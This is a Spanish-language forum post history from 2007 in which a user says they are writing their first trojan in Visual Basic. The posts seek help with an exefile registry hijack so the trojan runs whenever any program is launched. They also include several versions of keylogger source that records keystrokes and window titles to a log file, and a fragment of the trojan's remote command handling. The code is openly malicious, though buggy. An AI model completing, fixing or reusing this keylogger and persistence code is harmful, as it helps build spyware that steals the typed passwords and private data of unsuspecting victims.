| |
 Mostrar Mensajes
|
|
Páginas: [1]
|
|
1
|
Programación / Programación Visual Basic / una ayuda con el registro de win!
|
en: 5 Noviembre 2007, 03:37 am
|
|
bueno le quiero agregar a mi troyano que se ejecute cada vez que el usuario abre un *.exe, en el registro en la clase HKEY_CLASSES_ROOT\exefile\shell\open\command\ se encuentra el predeterminado (programa que abre cierto tipo de archivo, en este caso el exe segun entendi se abre con si mismo)
lei no se donde que cambiando el valor del predeterminado que es "%1" %* se puede hacer que TU archivo ejecute el que ejecuta el usuario en la pc, esto qeudaria:
Rutadearchivo "%1" %*
asi decia que se hacia donde lo lei, la cosa es que asi no va y no encuentro la forma de hacerlo. si alguien sabe como es que se tiene que modificar para que funcione desde ya le agradezco
PD: se que el tema no iria en visual basic, pero como lo necesito para mi troyanoq eu si es en visual lo pongo aca.
saludos
|
|
|
|
|
2
|
Programación / Programación Visual Basic / Re: Recursos en VB
|
en: 22 Agosto 2007, 20:15 pm
|
yo justo hace unos dias me preguntaba lo mismo pero termine haciendo otra cosa xD alguien tiene la respuesta a la pregunta del muchacho? que a mi tambien me interesa  y supongo que se aplica a cualquier archivo no solo de sonido |
|
|
|
|
4
|
Programación / Programación Visual Basic / Re: ayuda con keylogger
|
en: 16 Agosto 2007, 05:58 am
|
Jareth, lei nuevamente tu recomendacion e hice esto: Private Sub timeKeylog_Timer()
Dim nombreactu As String, nom As String, hwndv As Long, vent As Long, ventana As Long
hwndv = GetForegroundWindow()
lenT = GetWindowTextLength(hwndv)
nom = String$(lenT, 0)
vent = GetWindowText(hwndv, nom, lenT + 1)
nombreactu = Left(nom, vent)
If Not ventana = hwndv Then
Open App.Path & "\prueba.txt" For Append As #1
Print #1, "[" & nombreactu & "-" & Date & "-" & Time & "-]"
Print #1, teclas
Close #1
teclas = ""
End If
For i = 0 To 256
Dim estado As Long, teclass As String
estado = GetAsyncKeyState(i)
If estado = -32767 Then
teclass = teclass + Chr(i)
End If
ventana = GetForegroundWindow()
Next pero el txt graba muchisimas lineas con el nombre de cada ventana y ni si quiera graba las teclas. ayudaaaaaaaa |
|
|
|
|
6
|
Programación / Programación Visual Basic / Re: ayuda con keylogger
|
en: 10 Agosto 2007, 00:22 am
|
Bueno a partir de lo que me dijistes hice esto, pero tampoco funciono  : Private Sub timeKeylog_Timer()
Dim nombreactu As String, nom As String, hwndv As Long, vent As Long
hwndv = GetForegroundWindow()
lenT = GetWindowTextLength(hwndv)
nom = String$(lenT, 0)
vent = GetWindowText(hwndv, nom, lenT + 1)
nombreactu = Left(nom, vent)
For i = 0 To 256
Dim estado As Long, teclas As String
estado = GetAsyncKeyState(i)
If estado = -32767 Then
teclas = teclas + Chr(i)
End If
Next
If Not ventana = nombreactu Then
Open App.Path & "\prueba.txt" For Append As #1
Print #1, "[" & ventana & "-" & Date & "-" & Time & "-]"
Print #1, teclas
Close #1
teclas = ""
ventana = nombreactu
End If
End Sub este es el resultado de prueba.txt con ese codigo: [-09/08/2007-07:18:18 p.m.-]
[Server-09/08/2007-07:18:25 p.m.-]
[-09/08/2007-07:18:25 p.m.-]
[VB-09/08/2007-07:18:30 p.m.-]
[prueba.txt - Bloc de notas-09/08/2007-07:18:36 p.m.-]
[VB-09/08/2007-07:18:46 p.m.-]
[API-Guide 3.7 - 925 functions found!-09/08/2007-07:18:51 p.m.-]
[-09/08/2007-07:18:51 p.m.-]
[VB-09/08/2007-07:18:54 p.m.-]
[prueba.txt - Bloc de notas-09/08/2007-07:19:16 p.m.-]
[VB-09/08/2007-07:19:17 p.m.-]
[-09/08/2007-07:19:18 p.m.-]
No se que seran esas entradas sin el nombre de la ventana y como pueden ver tampoco capturo las letras. Por ahora no pude encontrar el error. |
|
|
|
|
7
|
Programación / Programación Visual Basic / Re: ayuda con keylogger
|
en: 9 Agosto 2007, 19:00 pm
|
|
Gracias por las respuestas, espero tu codigo Jareth.Yo antes trataba de ahcer lo mismo, que obtenga la ventana actual y un timer que se fije si cambia, pero sino me equivoco , o hasta donde da mi imaginacion, tendria que haber dos timers, uno que constantemente capte cual es la ventana activa y otro que se fije si cambia o no, no es asi?
Gracias
|
|
|
|
|
8
|
Programación / Programación Visual Basic / Re: ayuda con keylogger
|
en: 8 Agosto 2007, 21:38 pm
|
Bueno, lo hice para que en vez de cuando cambia de ventana sea cuando se presiona ENTER, aunque me hubiera gustado mas de la anterior forma, igualmente tiene errores, por ejemplo no obtiene el Titulo de al ventana activa, y me graba todas "," como si estuviera presionada, dejo el codigo aver si alguien me da una mano: Private Sub timeKeylog_Timer()
Dim pulsa As Long, teclas As String, hwndk As Long, nomb As String, nomcompleto As Long, nomfinal As String, activekey As String, lenT As Long
hwndk = GetForegroundWindow
lenT = GetWindowTextLength(hwndk)
nomb = String$(lenT, 0)
nomcompleto = GetWindowText(hwndk, nomb, lenT + 1)
nomfinal = Left(nomb, nomcompleto)
activekey = GetActiveKey
Select Case activekey
Case vbKeyReturn
Open App.Path & "\systemkl.log" For Append As #1
Print #1, "[" & nomfinal & "-" & Date & "-" & Time & "]"
Print #1, teclas
Print #1, " "
Close #1
teclas = ""
Case vbKeyA To vbKeyZ, 32 To 47
teclas = teclas + Chr(activekey)
End Select
End Sub
Esto seria la funcion GetActiveKeys (creditos a Slasher-K) Function GetActiveKey() As Integer
Static bStarted As Boolean
Dim i%
If Not bStarted Then
'Inicializa el estado de las teclas llamando a
'la función GetAsyncKeyState.
'
For i = 1 To 256
Call GetAsyncKeyState(i)
Next
bStarted = True
End If
For i = 1 To 256
'Obtiene la tecla pulsada actualmente.
'
If GetAsyncKeyState(i) Then
GetActiveKey = i
Exit For
End If
Next
End Function Alguien que me pueda echar una mano? Gracias |
|
|
|
|
9
|
Programación / Programación Visual Basic / ayuda con keylogger
|
en: 7 Agosto 2007, 16:51 pm
|
bueno, estoy haciendo mi primer troyano en vb y estuve tratando de hacer un keylogger que: 1. Logea las teclas mientras la ventana siempre sea la misma 2. cuando cambia la ventana escribe en un .txt el nombre de la ventana junto con las teclas que se pulsaron mientras estaba activa El problema me viene en el segundo punto, trate de mil formas, busque APIs y todo pero no logro hacer que al cambiar de ventana guarde lo pulsado (no se como indicarle que cuando la ventana activa cambie guarde lo pulsado ) ! si alguien tiene alguna sugerencia, bienvenida sea  gracias de antemano PD: en este codigo me tira un error de "Subindice fuera del intervalo" y no entiendo por que es, no le veo logica para existir tal error (EDIT: YA LO SOLUCIONE ESTO) Codigo: If Left(datos, 7) = "listwnd" Then Dim ventanas() As String, itemwnd() As String, listhwnd As Long, listnomwnd As String, nom As String dato = Split(datos, "@") ventanas = Split(dato(1), "?") For i = 0 To UBound(ventanas) itemwnd() = Split(ventanas(i), "/") listWnd.AddItem itemwnd(0) "EN ESTA SENTENCIA DICE QUE ESTA EL ERROR" Next i End If |
|
|
|
|
|
| |
|
